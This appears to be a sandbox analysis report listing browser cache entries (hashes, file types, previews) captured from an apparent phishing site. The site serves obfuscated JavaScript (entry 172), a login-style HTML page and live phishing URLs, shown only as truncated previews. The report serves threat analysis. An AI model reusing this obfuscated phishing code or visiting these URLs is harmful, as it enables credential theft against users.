Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	268
Entropy (8bit):	5.111190711619041
Encrypted:	false
SSDEEP:	6:tI9mc4slztdbC/yXqRRnYdbyJA0xy+LUxh7JECWWNAc:t4pb8WuEbaA0xVUxh1ECgc
MD5:	59759B80E24A89C8CD029B14700E646D
SHA1:	651B1921C99E143D3C242DE3FAACFB9AD51DBB53
SHA-256:	B02B5DF3ECD59D6CD90C60878683477532CBFC24660028657F290BDC7BC774B5
SHA-512:	0812DA742877DD00A2466911A64458B15B4910B648A5E98A4ACF1D99E1220E1F821AAF18BDE145DF185D5F72F5A4B2114EA264F906135F3D353440F343D52D2E
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill="#404040"/></svg>

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2905
Entropy (8bit):	3.962263100945339
Encrypted:	false
SSDEEP:	48:zcr2Vxfbf9lAi39AkJDTTHBhhqithUg4wnTSKprgAnxptzGe:gajfr9DfdhhbSkPptzv
MD5:	FE87496CC7A44412F7893A72099C120A
SHA1:	A0C1458C08A815DF63D3CB0406D60BE6607CA699
SHA-256:	55CE3B0CE5BC71339308107982CD7671F96014256DED0BE36DC8062E64C847F1
SHA-512:	E527C6CD2A3D79CA828A9126E8FF7009A540AA764082750D4FA8207C2B8439CA1FDC4459E935D708DC59DCFFE55FE45188EB5E266D1B745FCA7588501BC0117D
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://fmzd.oryz0.com/yz5tdqOr50ejUSGpe1C7HeYWSLmn2C5mz2MZ6g4GFMMA90180
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.854q.488.444.941.932a9.974,9.974,0,0,1,.819,1A4.951,4.951,0,0,1,37,34.736a3.133,3.133,0,0,1,.218,1.15,3.493,3.493,0,0,1-.261,1.324,3.381,3.381,0,0,1-.749,1.132q-.888.888-1.6,1.568a8.753,8.753,0,0,1-1.489,1.15,6.17,6.17,0,0,1-1.716.705A9.367,9.367,0,0,1,29.151,42a13.73,13.73,0,0,1-3.9-.592A21.891,21.891,0,0,1,21.26,39.77a27.749,27.749,0,0,1-3.885-2.491,34.863,34.863,0,0,1-3.6-3.153,34.6,34.6,0,0,1-3.127-3.606,27.717,27.717,0,0,1-2.456-3.876A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.725,17.725,0,0,1,1.376,1.428q.645.

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 24 x 43, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770307
Encrypted:	false
SSDEEP:	3:yionv//thPlk6//xl/k4E08up:6v/lhPS6//7Tp
MD5:	A5F0CD92C0854B9368F20613BF742E7C
SHA1:	7D3DE5035CBFC51D7FC4C3D0696B245085D273AD
SHA-256:	78F4602A1FC9FE55AB7738FC5C9F4B1BDB51B00C31BAE399DE02BE91B79D94B6
SHA-512:	2AFB4B53560B35285CFD71C676DF77A7A0F92DC93983E07772290B1A25F39D990EADBD2ABC79A66F0F55822DE884116BCEC3983D4CA173A96A7473F832701247
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......+............IDAT.....$.....IEND.B`.

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (309), with CRLF line terminators
Category:	downloaded
Size (bytes):	51490
Entropy (8bit):	4.885497833971721
Encrypted:	false
SSDEEP:	768:zdTK+9s/s399m/InG1o4oVSLHsUCVuitgRTHC4E/mMx4C8wDJ:9Tv9m/InG+4LsUCUMgRTHC4EeMx4+J
MD5:	DA2610C2F2009A36DD92E11813603335
SHA1:	97A6968D07E5AED4D74BE9855AFA10BBC2D658C2
SHA-256:	1B670CEF39A3CF4A98B862C2011DFED3E44F2B36738F18B96637275BBC2A5094
SHA-512:	CA1C0F6BCCB7CACEAB0CF706A9D08EE82F4422292E1DFDE4C7F801671249D7AE3A7EA7F2012198F5D6C610280061A79256BDBD8C3D6597D4E247078117F52855
Malicious:	false
Reputation:	low
URL:	https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>.. <script src="https://cdn.socket.io/4.6.0/socket.io.min.js"></script>.. <script src="https://www.google.com/recaptcha/api.js"></script>.. <link rel="stylesheet" href="/12804PhK6xy6Llhw6720">.. <link rel="stylesheet" href="/xy9dtplWirs6mgh22">.. <link rel="preload" href="rs446YaMsFkkugl9Pul1200uv39" as="font" type="font/woff2" crossorigin="anonymous">.. <link rel="preload" href="yzT75NuNHtjHz278hkeAUSuqr50" as="font" type="font/woff" crossorigin="anonymous">.. <link rel="preload" href="90vEsJ85xMt99R67cpJjuv59" as="font" type="font/woff2" crossorigin="anonymous">.. <link rel="preload" href="23qqWZLmsD3HLvv6Ec6898LDDvxy66" as="font" type="font/woff" crossorigin="anonymous">.. <link rel="preload" href="89jdsKZZPGQNuWNL3spE66GQefg2RTpL1ab74" as="font" type="font/woff2" crossorigin="anonymous">.. <link rel="preload" href="efncIwTEL0emqS7847WOvPGnq

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (678)
Category:	downloaded
Size (bytes):	530210
Entropy (8bit):	5.701859595512278
Encrypted:	false
SSDEEP:	6144:wtuhY6tUEBBO4ljvqsGt8Wo8YmQw25s+zL+tmSmmX2t54zvnC:wtuYUv/otyq8LQu4za
MD5:	2976EE1346F476EF821A24E820DE8EFE
SHA1:	D8A3EAB47B8B5A991CFC046FBD93D293C5776884
SHA-256:	7A86A2EB9FE176A0E5F88A81F7170A8AEA01AD4AB9949E68682CCD0664C9FF2B
SHA-512:	FB7267E1C3A2E26A6AEF6CC62DC7363270665795D5C0DF162A5D8AA42BA7F68CFB8C06DA96FAD2AA5B10117784FA69B8D7AA21247B2DB2F520F4B82B046265C7
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://www.gstatic.com/recaptcha/releases/8k85QBI-qzxmenDv318AZH30/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././.. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././*.. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that contro

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1238)
Category:	downloaded
Size (bytes):	1239
Entropy (8bit):	5.068464054671174
Encrypted:	false
SSDEEP:	24:ch63Cf5W8QPIHRZ3hwVFS39bYGwNef1yTZsNUkQ1sZmSuLqNWRco5Jcn5IKM6cuY:C6SQnw/x+SR8ZZkQbp1RZ5JwiKMm7Zc
MD5:	9E8F56E8E1806253BA01A95CFC3D392C
SHA1:	A8AF90D7482E1E99D03DE6BF88FED2315C5DD728
SHA-256:	2595496FE48DF6FCF9B1BC57C29A744C121EB4DD11566466BC13D2E52E6BBCC8
SHA-512:	63F0F6F94FBABADC3F774CCAA6A401696E8A7651A074BC077D214F91DA080B36714FD799EB40FED64154972008E34FC733D6EE314AC675727B37B58FFBEBEBEE
Malicious:	false
URL:	https://fmzd.oryz0.com/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js
Preview:	!function(){"use strict";function e(e){try{if("undefined"==typeof console)return;"error"in console?console.error(e):console.log(e)}catch(e){}}function t(e){return d.innerHTML='<a href="'+e.replace(/"/g,""")+'"></a>',d.childNodes[0].getAttribute("href")\|\|""}function r(e,t){var r=e.substr(t,2);return parseInt(r,16)}function n(n,c){for(var o="",a=r(n,c),i=c+2;i<n.length;i+=2){var l=r(n,i)^a;o+=String.fromCharCode(l)}try{o=decodeURIComponent(escape(o))}catch(u){e(u)}return t(o)}function c(t){for(var r=t.querySelectorAll("a"),c=0;c<r.length;c++)try{var o=r[c],a=o.href.indexOf(l);a>-1&&(o.href="mailto:"+n(o.href,a+l.length))}catch(i){e(i)}}function o(t){for(var r=t.querySelectorAll(u),c=0;c<r.length;c++)try{var o=r[c],a=o.parentNode,i=o.getAttribute(f);if(i){var l=n(i,0),d=document.createTextNode(l);a.replaceChild(d,o)}}catch(h){e(h)}}function a(t){for(var r=t.querySelectorAll("template"),n=0;n<r.length;n++)try{i(r[n].content)}catch(c){e(c)}}function i(t){try{c(t),o(t),a(t)}catch(r){e(r

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 93276, version 1.0
Category:	downloaded
Size (bytes):	93276
Entropy (8bit):	7.997636438159837
Encrypted:	true
SSDEEP:	1536:Dy7KSLv+MMqDeeIgDFSxpuQP7ObnKSWBO61LlRzSSAT6YmkSzOu7Be0OB53jIH4I:Dy7JD+net+puI7ObKHVhTSSlYmk4OuWa
MD5:	BCD7983EA5AA57C55F6758B4977983CB
SHA1:	EF3A009E205229E07FB0EC8569E669B11C378EF1
SHA-256:	6528A0BF9A836A53DFD8536E1786BA6831C9D1FAA74967126FDDF5B2081B858C
SHA-512:	E868A2702CA3B99E1ABBCBD40B1C90B42A9D26086A434F1CBAE79DFC072216F2F990FEC6265A801BC4F96DB0431E8F0B99EB0129B2EE7505B3FDFD9BB9BAFE90
Malicious:	false
URL:	https://fmzd.oryz0.com/efncIwTEL0emqS7847WOvPGnqQHZkl99
Preview:	wOF2......l\....... ..k...........................v...&..$?HVAR.j?MVAR.F.`?STAT.6'8.../.H........x....0..:.6.$..0. ..z...[....%"...........!.I.T....w.!c.H...t.]k......6..Cy..Ul.re........I..%.%....DE....v.i.QF8....iH.!r......P4Z[....Zs....o..r..8b.O....n...!......R}GL..5n!....^..I...A.....U...,&..uz....E.R.K/GL...#..U..A8%.rd..E,}...'e...u..3.dD....}..:..0.a..#O8.\|.7..{.}.o......(.D..HX...w.;F...g.+....g.x..,.@~<.K......ZJw......^.!..{:..<..`N..h..0.t..NA..,...]........On./..X\|_=...e,.tS..3Z..q_....'F[..jR.?U..k.:+;..Z.co5..l..yV.Md..4.6............L8q..._...AX.y.Cc...Agb..a.K...N....`-..N.b.u...q..i.S...p..j*...fA.......?.Z.Ee.~\|.\..TZ._...?./a.64..+.]..(gq..d..\K...S..z.i.l[.........1=....I.....4g.?.G.3.&.0L&.$.@R6...U..o..:.S.=.....bU..u.]z.W8[U.\|7.'.%..u...11..g<.^...J..PB.JHB...k........].($..D...S"u...7...9.8.....U..7...R$..x...g.X.zV.,.$....y.:.....Q$OM....q.. ...(.O....".d<.l..9..\|^B.r.5......yi.D..._...<P..o....(Re.I...@E.~..T.

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	270
Entropy (8bit):	4.840496990713235
Encrypted:	false
SSDEEP:	6:tI9mc4slzIzUQYqRRn3u0xboUSWuUX8+TQMRAvY:t4uzEu3u0xUUluUs+TQMRAQ
MD5:	40EB39126300B56BF66C20EE75B54093
SHA1:	83678D94097257EB474713DEC49E8094F49D2E2A
SHA-256:	765709425A5B9209E875DCCF2217D3161429D2D48159FC1DF7B253B77C1574F4
SHA-512:	9C9CD1752A404E71772003469550D3B4EFF8346A4E47BE131BB2B9CB8DD46DBEF4863C52A63A9C63989F9ABEE775CB63C111ADD7AFA9D4DFC7A4D95AE30F9C6E
Malicious:	false
URL:	https://fmzd.oryz0.com/efsfnXL1mkSjhUqqyhqkpk4F8mijDEqazbDtkPlc578150
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fill="#262626"/></svg>

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 28584, version 1.66
Category:	downloaded
Size (bytes):	28584
Entropy (8bit):	7.992563951996154
Encrypted:	true
SSDEEP:	768:8n53CNftp4NM/2qxGvtAG9fvpWYSTvlj6OIqrd1xUseRc:85SNfQS2ntfxvpWYSTcfMERc
MD5:	17081510F3A6F2F619EC8C6F244523C7
SHA1:	87F34B2A1532C50F2A424C345D03FE028DB35635
SHA-256:	2C7292014E2EF00374AEB63691D9F23159A010455784EE0B274BA7DB2BCCA956
SHA-512:	E27976F77797AD93160AF35714D733FD9E729A9981D8A6F555807981D08D8175E02692AA5EA6E59CEBD33895F5F6A3575692565FDD75667630DAB158627A1005
Malicious:	false
URL:	https://fmzd.oryz0.com/90vEsJ85xMt99R67cpJjuv59
Preview:	wOF2......o.......6x..oG...B.......................>....`..<.<..b.....h..B.6.$..x..>.. ..'..{...[x"q..].....hJ....'.......6.2.[....q....z..mCww....eU..S.........0..S.s..,....\.e..F.&....oUR.}Q.C..2.TD....5..#..h.H.2.\|<.1.z..].xZ...z..z..W.........p%..F.e.r"yG.......f.M3.].U.p...E..<..:..j..E......t....!....~a...J.m....f.d.eE..>.:.9.....,6K{.q..6e..4:z......{.{....$.. ...B....9:0.G..6.9R....m..jCW.m.]:{.p..?P.O.B..E....u.J.._..........dd=. l..SJ..fjm....\....)...6......mV.`.J.R.A..R.....J...T.y.........m...k-....{'.Ud"...C.$d.N 9}.N]..2p.q.T..6.-A.U...."..o.\......uh...$..4j..v...9....anl/NT....K....k..A...........U5S.=.t[.)/s.R.......F..)6H A..'?!....7S.....w:.%.H.@...l?...lm..lUd D...-.... .......5).`..w&..Q....-.. ...9.Xt./SQ?.s+u.9..\.h.l.G.#...#@.F..f.1.f..=`....p.....=c..f=..p 4By.u.z'...$;.s.....z.....X..n6y-...........<.......X......~+j.z.j.......7.PD..O..w..9..8].!~C&.......LCE..Nf~.N.eJ.iXnXC.&....t.U..Nr.@..lZ.... .X..

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2905
Entropy (8bit):	3.962263100945339
Encrypted:	false
SSDEEP:	48:zcr2Vxfbf9lAi39AkJDTTHBhhqithUg4wnTSKprgAnxptzGe:gajfr9DfdhhbSkPptzv
MD5:	FE87496CC7A44412F7893A72099C120A
SHA1:	A0C1458C08A815DF63D3CB0406D60BE6607CA699
SHA-256:	55CE3B0CE5BC71339308107982CD7671F96014256DED0BE36DC8062E64C847F1
SHA-512:	E527C6CD2A3D79CA828A9126E8FF7009A540AA764082750D4FA8207C2B8439CA1FDC4459E935D708DC59DCFFE55FE45188EB5E266D1B745FCA7588501BC0117D
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.854q.488.444.941.932a9.974,9.974,0,0,1,.819,1A4.951,4.951,0,0,1,37,34.736a3.133,3.133,0,0,1,.218,1.15,3.493,3.493,0,0,1-.261,1.324,3.381,3.381,0,0,1-.749,1.132q-.888.888-1.6,1.568a8.753,8.753,0,0,1-1.489,1.15,6.17,6.17,0,0,1-1.716.705A9.367,9.367,0,0,1,29.151,42a13.73,13.73,0,0,1-3.9-.592A21.891,21.891,0,0,1,21.26,39.77a27.749,27.749,0,0,1-3.885-2.491,34.863,34.863,0,0,1-3.6-3.153,34.6,34.6,0,0,1-3.127-3.606,27.717,27.717,0,0,1-2.456-3.876A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.725,17.725,0,0,1,1.376,1.428q.645.

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 108 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1400
Entropy (8bit):	7.808470583085035
Encrypted:	false
SSDEEP:	24:rIcdIg4GFKiUqLRfqX5Cbg2tRSpGHM0RMrB6nzU9Jd28VVdYfWZG0rrZgqhpT:rHUZGRNEoSpGHMTrB6zUXdNVSi1b
MD5:	333EE830E5AB72C41DD9126A27B4D878
SHA1:	12D8D66EBB3076F3D6069E133C3212F97C8774E1
SHA-256:	8702292CBC365E9F0488143E2B309B85EFE09C61FD2E0A2E21C53735A309313C
SHA-512:	3413ED624241877C1D44FEE23FD37745CB214C12AE73FACFAFA07B47FA1CB9E5DAA3CB7F542564E04075FFE8BA744C962FBDD78F08A643A90C0EC1118C05BBF8
Malicious:	false
Preview:	.PNG........IHDR...l................?IDAThC.X.n.A..K.. ..H8.....7P..p...&......>..4.'.y.`$Z...$1..9..;...w.\|...zvvv.............b..Y....B...Dq..&\....pe..r.X.P...3.n...M.j.....+..r}}.t:...fa.mmm5U........)dwww...j...q<<<<L.}ggg.......k.O.?....^.gE.6....B..%U..w#H...y....~......h.....Q.E;.....T...E.W..X=..{.;..+.. ..`.(:2...A..U.....Y....z..l.r.S..<K...x.E.... .....U.,.`.....<::............MSiE.2w.!z.T...PWl.).0...Z....Z.'~.5zP.o..-. ......q..x..w.....y......5\|v..i...........@w.c...j..3....w,/.3.).....u.......b.}..R........ `......`mH$.U..B.H1...jx..3..$k ...........Z......4....A.>..X.a/...0N.&?q..........F#w&o."L:...l.c...x.P...@e..&.&\|Y...!.i....gac..1C.....I..t...e~q.&.6.2B.}.V.p.B.."...'..M..s.s.....V%-.?8yC.?m......z...&]\.VN.s....j.`....kY.....64.Y..(_ea[.r...1B.......5....i.u.......aQ.+z.x.......<,~..a...z,.I.T.b.P.^.`...y.58..,\|Q...u.-.._....m.1...\|k.j.7.,x.....X....ez..a....X...\E.$..-...s.../.9L.9.(9..U...x$#.C...Nm...p.....J...

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 506 x 303, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	29796
Entropy (8bit):	7.980058333789969
Encrypted:	false
SSDEEP:	768:uEV6Q9wDBC1MNazNsMYCUPwRGMSU6Ub1W:uKpiOZ7YCpRRXk
MD5:	210433A8774859368F3A7B86D125A2A7
SHA1:	408BACDDC39F12CAD285579C102FE4A629862D88
SHA-256:	9C6ADDFC339CE1C1D262290AB4CC2DE8D38D4B54B11A8E85AFD44FBB0ACC2561
SHA-512:	6CBF6492BBA0734ECE1B595743B7A251D3C98425A36D5BF87EBFAD17BE979A23ADEE556FB074EF6D284052F6412ACEDA4E179FB7DFA0BA1103610CC01113A1A3
Malicious:	false
Preview:	.PNG........IHDR......./.............sRGB....... .IDATx^.].XSI.=. M....T.`...X......}.]..}...e.k..{.(V...`...o&..)i/......H2s..s.yo..Xa.0.......C@.....2f.C.!..`.0...`D..!..`.0..."F......Lc.0.......#z..............^..W......vEa..(R...W.o.J.km..k`.e.2.......`D.7.Z.w..!n......T....@..M.GO.892?+.....`.0...#...4..]n....{.Z....b...h..l.,...B.5b.0...........Vs......T...r.Wy...(..Gg..r....>&$.S.G.D.......]...I..S.....v.....9S.!..`.......F.'y3g...]+.fai.....T.....).%!.....{.7.u}}+a..p(X..]!...C.!.....l....W.Y..=[..K.wt...v....mD.5...ii....W.....z#..0......D.....FV.w..,.T..............X.\|..\|.Let....F.d.W.Q.!..`....l...Wg..~.6./^..A.w..nE.}..`ff...S..p..>..!C.")).O.>E...9../?..+.b..H."p-R.N..X.h..&.!..`.h..6X...... ..33s..;Y...9u....c.w#..[^.suu...;%....W/.vymX<.2...`.0.4G....bx....C.vr+.5.I...h............8.".q...\|v...[/....C.jUY\..9.!..`......5.t..K...-.R.4h....i..[\.N...<y,0j.l...G.z..7....H....e..y..R.N..(\.(....[.RSR..........w.......x.

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45667)
Category:	downloaded
Size (bytes):	45806
Entropy (8bit):	5.207605835316031
Encrypted:	false
SSDEEP:	384:1ZS0CCnasl8gRR/PoPez+iCMN0Fkiw2Jh4RWdRGhAjbp2ChPL8cYRGv5MRUK6np9:/CCnVl7tUkBxkdRGOfDiY5C5MAn5GY2
MD5:	80F5B8C6A9EEAC15DE93E5A112036A06
SHA1:	F7174635137D37581B11937FC90E9CB325077BCE
SHA-256:	0401DE33701F1CAD16ECF952899D23990B6437D0A5B7335524EDF6BDFB932542
SHA-512:	B976A5F02202439D94C6817D037C813FA1945C6BB93762284D97FF61718C5B833402F372562034663A467FDBAA46990DE24CB1E356392340E64D034E4BA1B4E4
Malicious:	false
URL:	https://cdn.socket.io/4.6.0/socket.io.min.js
Preview:	/!. Socket.IO v4.6.0. * (c) 2014-2023 Guillermo Rauch. * Released under the MIT License.. */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t\|\|self).io=e()}(this,(function(){"use strict";function t(e){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},t(e)}function e(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function n(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}function r(t,e,r){return e&&n(t.prototype,e),r&&n(t,r),Object.defineProperty(t,"prototype",{writable:!1}),t}function i(){return i=Object.assign?Object.assign.bind():function(t){for(var e=

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	231
Entropy (8bit):	6.725074433303473
Encrypted:	false
SSDEEP:	6:6v/lhPZsRtsa9hC0bKDHv5Ef30XY4qMa3IE6Aleup:6v/76eAhbSHusYX4E3
MD5:	547988BAC5584B4608466D761E16F370
SHA1:	C11BB71049702528402A31027F200184910A7E23
SHA-256:	70E32B2DB3F079BB0295A85A0DB15ED9E5926294DD947938D6CFA595F5AB18B4
SHA-512:	C4A76F6E94982D1CC02C2B67523A334E76BFDE525C1014D32DB9E7ECA0FA39A06F291ECFA94C8C6A49D488EA3ACF9C10DDF3CAD9515562010440863D0F08FBA3
Malicious:	false
Preview:	.PNG........IHDR..............w=.....sRGB.........IDATHK...1...Z......... #$#..-.. $$3..H...q.x.>.x..yY.\|.@h.......$.B/..*Ec...J.}.....Rl..^.......#-...f.6p.cJigf...G.<.!.z..>a.+j....&U.....E/.._.`.d...~_....7...4`....IEND.B`.

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65534), with no line terminators
Category:	downloaded
Size (bytes):	109447
Entropy (8bit):	5.202931520634447
Encrypted:	false
SSDEEP:	1536:4iw5DZ5Mp2uCTtRJtG5DYg5MPV5DRAQDg5MmGHNVX01TV2:4iwxrrpQGH3X0v2
MD5:	6FA824258E75FC1AA9FE70E01F42C103
SHA1:	D300AE28C77583E3C987994189874FF678C13581
SHA-256:	EE735A7D85B57253E54CA248BF2B2856BCFC03F5D2043AC86DFCF90E404601EE
SHA-512:	E72004FC9A3AFD7D5A1B620A3580E57D0EEBCA03A2270A54C5C749924E58746B0823EBF06AE10E91B3FF0DC929530535DB429C1A0E0C18E7EB0BDBCEC29C7FFD
Malicious:	false
URL:	https://fmzd.oryz0.com/56U8OCnuR5DmPArMrtJ18ijqNNqUgDps4geJeU89106
Preview:	const _0x146162=_0x487c;(function(_0x4db690,_0xbf335f){const _0x32316e=_0x487c,_0x317f2a=_0x4db690();while(!![]){try{const _0x39212f=parseInt(_0x32316e(0x14e))/0x1(-parseInt(_0x32316e(0x1f0))/0x2)+parseInt(_0x32316e(0xa5))/0x3+-parseInt(_0x32316e(0xf3))/0x4+-parseInt(_0x32316e(0xb3))/0x5+-parseInt(_0x32316e(0xaf))/0x6+parseInt(_0x32316e(0x123))/0x7(parseInt(_0x32316e(0x19d))/0x8)+parseInt(_0x32316e(0xdf))/0x9;if(_0x39212f===_0xbf335f)break;else _0x317f2a['push'](_0x317f2a['shift']());}catch(_0x14f974){_0x317f2a['push'](_0x317f2a['shift']());}}}(_0x1559,0xdef7b));var webnotfound=![],otherweburl='',interacted=0x0,multipleaccountsback=0x0;!document[_0x146162(0xbb)]('sections')[_0x146162(0xb2)][_0x146162(0x19e)](_0x146162(0x127))&&(view=_0x146162(0xb9));document['getElementById'](_0x146162(0x208))&&!document[_0x146162(0xbb)](_0x146162(0x208))[_0x146162(0xb2)][_0x146162(0x19e)](_0x146162(0x127))&&(view=_0x146162(0xc2));document[_0x146162(0x12e)]('keyup',function(_0x2e5733){const _0x5eece2

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 24 x 43, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770307
Encrypted:	false
SSDEEP:	3:yionv//thPlk6//xl/k4E08up:6v/lhPS6//7Tp
MD5:	A5F0CD92C0854B9368F20613BF742E7C
SHA1:	7D3DE5035CBFC51D7FC4C3D0696B245085D273AD
SHA-256:	78F4602A1FC9FE55AB7738FC5C9F4B1BDB51B00C31BAE399DE02BE91B79D94B6
SHA-512:	2AFB4B53560B35285CFD71C676DF77A7A0F92DC93983E07772290B1A25F39D990EADBD2ABC79A66F0F55822DE884116BCEC3983D4CA173A96A7473F832701247
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8883b00e0e9a437b/1716453068102/IU6kT65JcIpG5EF
Preview:	.PNG........IHDR.......+............IDAT.....$.....IEND.B`.

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	270
Entropy (8bit):	4.840496990713235
Encrypted:	false
SSDEEP:	6:tI9mc4slzIzUQYqRRn3u0xboUSWuUX8+TQMRAvY:t4uzEu3u0xUUluUs+TQMRAQ
MD5:	40EB39126300B56BF66C20EE75B54093
SHA1:	83678D94097257EB474713DEC49E8094F49D2E2A
SHA-256:	765709425A5B9209E875DCCF2217D3161429D2D48159FC1DF7B253B77C1574F4
SHA-512:	9C9CD1752A404E71772003469550D3B4EFF8346A4E47BE131BB2B9CB8DD46DBEF4863C52A63A9C63989F9ABEE775CB63C111ADD7AFA9D4DFC7A4D95AE30F9C6E
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fill="#262626"/></svg>

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 108 x 24, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1400
Entropy (8bit):	7.808470583085035
Encrypted:	false
SSDEEP:	24:rIcdIg4GFKiUqLRfqX5Cbg2tRSpGHM0RMrB6nzU9Jd28VVdYfWZG0rrZgqhpT:rHUZGRNEoSpGHMTrB6zUXdNVSi1b
